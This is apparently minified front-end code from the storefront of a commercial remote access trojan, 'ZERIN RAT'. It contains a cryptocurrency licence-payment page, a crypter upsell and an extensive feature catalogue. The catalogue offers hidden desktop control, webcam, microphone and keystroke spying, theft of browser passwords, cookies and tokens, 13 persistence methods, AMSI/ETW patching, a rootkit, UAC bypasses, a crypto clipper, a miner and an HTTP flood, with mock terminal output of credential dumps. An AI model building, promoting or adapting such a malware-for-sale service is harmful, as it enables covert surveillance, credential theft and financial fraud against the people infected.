text-sm mb-6 max-w-md mx-auto",children:"The PE crypter is available with the WebRAT + Crypter license. Encrypt any .exe with layered XOR + AES encryption, RunPE / shellcode injection, and configurable evasion features."}),s.jsx(dt,{to:"/#pricing",className:"inline-block bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-6 py-2.5 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] transition-all duration-300",children:"Upgrade to WebRAT + Crypter"})]})]})})}async function gV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const yV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function bV(){const{id:e}=qo(),[t,n]=p.useState(null),[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useCallback(async()=>{if(e)try{const f=await gV(e);n(f)}catch{i("Payment not found")}},[e]);p.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";p.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?yV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),s.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs(dt,{to:"/",className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),s.jsx(dt,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),s.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:s.jsx("div",{className:"w-full max-w-lg",children:r?s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),s.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),s.jsx(dt,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),s.jsxs("div",{className:"flex items-center gap-2",children:[!c&&s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),s.jsxs("div",{className:"px-6 py-6 space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),s.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),s.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),s.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&s.jsxs("div",{children:[s.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),s.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&s.jsxs("div",{className:"space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),s.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:a?"Copied!":"Copy Key"}),s.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",s.jsx(dt,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&s.jsxs("div",{className:"text-center space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),s.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),s.jsx(dt,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),s.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Mi=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function qS(e=.15){const t=p.useRef(null),[n,r]=p.useState(!1);return p.useEffect(()=>{const i=t.current;if(!i)return;const a=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),a.disconnect())},{threshold:e});return a.observe(i),()=>a.disconnect()},[e]),{ref:t,visible:n}}const wV=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function L2({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let a=0,o;for(;(o=i.exec(e))!==null;)o.index>a&&n.push(s.jsx("span",{className:t,children:e.slice(a,o.index)},r++)),n.push(s.jsx("span",{className:o[1],children:o[2]},r++)),a=i.lastIndex;return as.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${a*80}ms`:"0ms"},children:i.startsWith("$")?s.jsxs(s.Fragment,{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"ml-2",children:s.jsx(L2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):s.jsx("span",{className:"pl-4",children:s.jsx(L2,{text:i,base:"text-zerin-text-muted/60"})})},a))})]})}const kV=p.memo(function({feat:t,delay:n,visible:r}){const[i,a]=p.useState(!1);return s.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:s.jsxs("button",{onClick:()=>t.detail&&a(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[s.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&s.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&s.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function NV({cat:e,index:t}){const{ref:n,visible:r}=qS(.1);return s.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[s.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),s.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),s.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[s.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,a)=>s.jsx(kV,{feat:i,delay:a*50,visible:r},i.name))}),e.terminal&&s.jsx("div",{className:"hidden lg:block",children:s.jsx("div",{className:"sticky top-24",children:s.jsx(jV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function SV({activeId:e}){return s.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:s.jsx("div",{className:"flex flex-col gap-1",children:Mi.map(t=>s.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[s.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function Zl({value:e,label:t,suffix:n=""}){return s.jsxs("div",{className:"text-center",children:[s.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),s.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function zV(){const[e,t]=p.useState(!1),[n,r]=p.useState(Mi[0].id);p.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),p.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Mi.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=p.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),a=Mi.reduce((o,l)=>o+l.features.length,0);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(wV,{}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 